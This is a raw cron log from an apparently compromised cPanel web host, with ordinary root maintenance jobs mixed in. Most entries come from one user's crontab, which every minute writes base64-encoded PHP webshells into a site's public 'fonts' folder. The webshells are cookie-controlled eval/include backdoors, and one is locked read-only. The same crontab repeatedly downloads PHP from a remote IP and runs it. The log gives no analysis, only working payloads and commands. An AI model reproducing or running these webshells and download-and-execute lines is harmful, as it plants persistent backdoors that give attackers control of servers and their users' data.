Aug 30 22:58:01 ip-184-168-122-23 CROND[21636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:58:01 ip-184-168-122-23 CROND[21638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:58:01 ip-184-168-122-23 CROND[21641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:58:01 ip-184-168-122-23 CROND[21642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:58:01 ip-184-168-122-23 CROND[21640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:59:01 ip-184-168-122-23 CROND[21809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:59:01 ip-184-168-122-23 CROND[21810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:59:01 ip-184-168-122-23 CROND[21811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:59:01 ip-184-168-122-23 CROND[21814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:00:02 ip-184-168-122-23 CROND[21901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:00:02 ip-184-168-122-23 CROND[21902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:00:02 ip-184-168-122-23 CROND[21906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:00:02 ip-184-168-122-23 CROND[21907]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 23:00:02 ip-184-168-122-23 CROND[21908]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:00:02 ip-184-168-122-23 CROND[21912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:00:02 ip-184-168-122-23 CROND[21914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:00:02 ip-184-168-122-23 CROND[21911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:01:01 ip-184-168-122-23 CROND[22006]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22006]: starting 0anacron
Aug 30 23:01:01 ip-184-168-122-23 CROND[22012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:01:01 ip-184-168-122-23 CROND[22017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:01:01 ip-184-168-122-23 CROND[22018]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 23:01:01 ip-184-168-122-23 CROND[22019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22016]: finished 0anacron
Aug 30 23:01:01 ip-184-168-122-23 CROND[22020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:02:01 ip-184-168-122-23 CROND[22119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:02:01 ip-184-168-122-23 CROND[22120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:02:01 ip-184-168-122-23 CROND[22122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:02:01 ip-184-168-122-23 CROND[22121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:02:01 ip-184-168-122-23 CROND[22123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:03:01 ip-184-168-122-23 CROND[22208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:03:01 ip-184-168-122-23 CROND[22209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:03:01 ip-184-168-122-23 CROND[22212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:03:01 ip-184-168-122-23 CROND[22211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:04:01 ip-184-168-122-23 CROND[22285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:04:01 ip-184-168-122-23 CROND[22288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:04:01 ip-184-168-122-23 CROND[22290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:04:01 ip-184-168-122-23 CROND[22287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:04:01 ip-184-168-122-23 CROND[22292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:05:01 ip-184-168-122-23 CROND[22374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:05:01 ip-184-168-122-23 CROND[22375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:05:01 ip-184-168-122-23 CROND[22377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:05:01 ip-184-168-122-23 CROND[22379]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 23:05:01 ip-184-168-122-23 CROND[22380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:05:01 ip-184-168-122-23 CROND[22381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:05:01 ip-184-168-122-23 CROND[22383]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:06:01 ip-184-168-122-23 CROND[22463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:06:01 ip-184-168-122-23 CROND[22465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:06:01 ip-184-168-122-23 CROND[22468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:06:01 ip-184-168-122-23 CROND[22466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:06:01 ip-184-168-122-23 CROND[22467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:07:01 ip-184-168-122-23 CROND[22651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:07:01 ip-184-168-122-23 CROND[22653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:07:01 ip-184-168-122-23 CROND[22654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:07:01 ip-184-168-122-23 CROND[22655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:08:01 ip-184-168-122-23 CROND[22934]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:08:01 ip-184-168-122-23 CROND[22936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:08:01 ip-184-168-122-23 CROND[22937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:08:01 ip-184-168-122-23 CROND[22935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:08:01 ip-184-168-122-23 CROND[22938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:09:01 ip-184-168-122-23 CROND[23018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:09:01 ip-184-168-122-23 CROND[23019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:09:01 ip-184-168-122-23 CROND[23020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:09:01 ip-184-168-122-23 CROND[23022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:09:01 ip-184-168-122-23 CROND[23023]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 23:10:01 ip-184-168-122-23 CROND[23107]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
